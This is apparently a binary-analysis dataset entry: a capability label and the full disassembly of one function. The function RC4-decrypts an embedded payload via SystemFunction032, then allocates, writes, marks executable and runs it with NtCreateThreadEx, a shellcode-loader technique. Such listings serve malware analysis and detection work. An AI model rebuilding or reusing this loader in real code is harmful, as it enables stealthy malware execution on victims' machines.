Function at 0x140001070
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xb0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x47], rax
lea rax, [0x140005680]
mov dword [rbp + 0x1f], 0x10
lea rdi, [0x140005040]
mov qword [rbp + 0x27], rax
lea rcx, str.Advapi32
mov qword [rbp + 0x17], rdi
mov dword [rbp + 0x23], 0x10
mov dword [rbp + 0xf], 0x63c
mov dword [rbp + 0x13], 0x63c
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rbp + 0x1f]
lea rcx, [rbp + 0xf]
call rax
test eax, eax
je 0x140001100
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
xor ebx, ebx
mov dword [rsp + 0x28], 4
lea r9, [rbp + 0xf]
mov qword [rbp + 0x2f], 0x63c
xor r8d, r8d
mov qword [rbp + 7], rbx
lea rdx, [rbp + 7]
mov dword [rbp + 0x37], ebx
lea rcx, [rbx - 1]
mov qword [rbp + 0xf], 0x63c
mov qword [rbp + 0x3f], rbx
mov qword [rbp + 0x1f], rbx
mov dword [rsp + 0x20], 0x3000
call fcn.1400016b0
test eax, eax
je 0x14000115c
mov edx, eax
lea rcx, str.____NtAllocateVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400012de
mov r8, qword [rbp + 0xf]
lea rcx, str.___Allocated_Address_At_:_0x_p_Of_Size_:__d__n
mov rdx, qword [rbp + 7]
call fcn.140001010
lea rcx, str.___Press__Enter__To_Write_The_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rdx, qword [rbp + 0x2f]
lea rcx, str._t_i__Writing_Payload_Of_Size__d_...
call fcn.140001010
mov r9, qword [rbp + 0x2f]
lea rax, [rbp + 0x3f]
mov rdx, qword [rbp + 7]
mov r8, rdi
mov rcx, 0xffffffffffffffff
mov qword [rsp + 0x20], rax
call fcn.14000174a
test eax, eax
jne 0x1400012bc
mov rcx, qword [rbp + 0x2f]
cmp qword [rbp + 0x3f], rcx
jne 0x1400012bc
lea rcx, str.___DONE__n
call fcn.140001010
lea rax, [rbp + 0x37]
mov r9d, 0x40
lea r8, [rbp + 0x2f]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 7]
mov rcx, 0xffffffffffffffff
call fcn.1400016fd
test eax, eax
je 0x14000120e
mov edx, eax
lea rcx, str.____NtProtectVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400012de
lea rcx, str.___Press__Enter__To_Run_The_Payload_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov rdx, qword [rbp + 7]
lea rcx, str._t_i__Running_Thread_Of_Entry_0x_p_...
call fcn.140001010
mov rax, qword [rbp + 7]
lea rcx, [rbp + 0x1f]
mov qword [rsp + 0x50], rbx
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], ebx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.140001797
test eax, eax
je 0x140001282
mov edx, eax
lea rcx, str.____NtCreateThreadEx_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
jmp 0x1400012de
lea rcx, str.___DONE__n
call fcn.140001010
mov rcx, qword [rbp + 0x1f]
call qword [sym.imp.KERNEL32.dll_GetThreadId]
mov edx, eax
lea rcx, str._t___Thread_Created_With_Id_:__d__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Quit_...
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor eax, eax
jmp 0x1400012e3
mov edx, eax
lea rcx, str.____pNtWriteVirtualMemory_Failed_With_Error_:_0x_0.8X__n
call fcn.140001010
mov r8, qword [rbp + 0x2f]
lea rcx, str._i__Bytes_Written_:__d_of__d__n
mov rdx, qword [rbp + 0x3f]
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140001800
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret